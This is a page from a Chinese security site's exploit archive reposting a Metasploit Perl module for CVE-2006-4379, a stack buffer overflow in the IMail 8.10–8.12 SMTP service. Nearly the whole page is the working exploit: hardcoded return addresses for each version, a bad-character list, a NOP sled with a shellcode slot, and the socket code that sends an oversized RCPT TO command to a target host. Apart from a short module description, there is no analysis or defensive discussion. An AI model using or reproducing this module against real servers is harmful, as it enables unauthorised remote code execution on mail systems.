首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow Exploit (meta)
来源:acaro [at] jervus.it 作者:Jacopo 发布时间:2007-02-05  
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::imail_smtp_rcpt_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };

my $info = {
'Name'    => 'IMail 2006 and 8.x SMTP Stack Overflow Exploit',
'Version'  => '$Revision: 1.0 $',
'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
'Arch'    => [ 'x86' ],
'OS'      => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
'Priv'    => 1,

'UserOpts'  =>
  {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 25],
'Encoder'   => [1, 'EncodedPayload', 'Use Pex!!'],


  },

'AutoOpts'  => { 'EXITFUNC'  => 'seh' },
'Payload' =>
  {
'Space'     => 400,
'BadChars'  => "\x00\x0d\x0a\x20\x3e\x22\x40",
'Keys'      => ['+ws2ord'],


  },

'Description'  => Pex::Text::Freeform(qq{
This module exploits a stack based buffer overflow in IMail 2006 and 8.x SMTP service.
If we send a long strings for RCPT TO command contained within the characters '@' and ':'
we can overwrite the eip register and exploit the vulnerable smpt service
}),

'Refs'  =>
  [
['BID', '19885'],
['CVE', '2006-4379'],
['URL',   'http://www.zerodayinitiative.com/advisories/ZDI-06-028.html'],
  ],

'Targets' =>
  [

['Universal IMail 8.10',0x100188c3 ], # pop eax, ret in SmtpDLL.dll for IMail 8.10
['Universal IMail 8.12',0x100191c4 ], # pop eax, ret in SmtpDLL.dll for IMail 8.12


  ],

'DefaultTarget' => 0,

'Keys' => ['smtp'],

'DisclosureDate' => 'September 7 2006',
  };

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx  = $self->GetVar('TARGET');
my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

my $target = $self->Targets->[$target_idx];



my $ehlo = "EHLO " . "\r\n";

my $mail_from = "MAIL FROM:" . "\x20" . "\x3c"."acaro". "\x40"."jervus.it" . "\x3e" . "\r\n";


my $pattern = "\x20\x3c\x40";
$pattern .= pack('V', $target->[1]);
$pattern .="\x3a" . $self->MakeNops((0x1e8-length ($shellcode)));
$pattern .= $shellcode;
$pattern .= "\x4a\x61\x63\x3e";

my $request = "RCPT TO: " . $pattern ."\n";

$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using pop eax, ret at 0x%.8x...", $target->[1]));

my $s = Msf::Socket::Tcp->new
  (
'PeerAddr'  => $target_host,
'PeerPort'  => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL'       => $self->GetVar('SSL'),
  );

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
my $r = $s->Recv(-1, 5);

$s->Send($ehlo);
$self->PrintLine("[*] I'm sending ehlo command");
$self->PrintLine("[*] $r");
sleep(2);

$s->Send($mail_from);
$self->PrintLine("[*] I'm sending mail from command");
$r = $s->Recv(-1, 10);
$self->PrintLine("[*] $r");
sleep(2);

$s->Send($request);
$self->PrintLine("[*] I'm sending rcpt to command");
sleep(2);

return;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Imail 8.10-8.12 (RCPT TO) Remo
·Woltlab Burning Board Lite <=
·Categories hierarchy phpBB Mod
·phpBB++ Build 100 (phpbb_root_
·GGCMS <= 1.1.0 RC1 Remote Code
·phpBB ezBoard converter 0.2 (e
·MS Internet Explorer 6 (mshtml
·Chicken of the VNC 2.0 (NULL-p
·Oracle 9i/10g DBMS_EXPORT_EXTE
·HP Tru64 Alpha OSF1 v5.1 (ps)
·FlashFXP 3.4.0 build 1145 Remo
·SmartFTP Client 2.0.1002 Remot
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved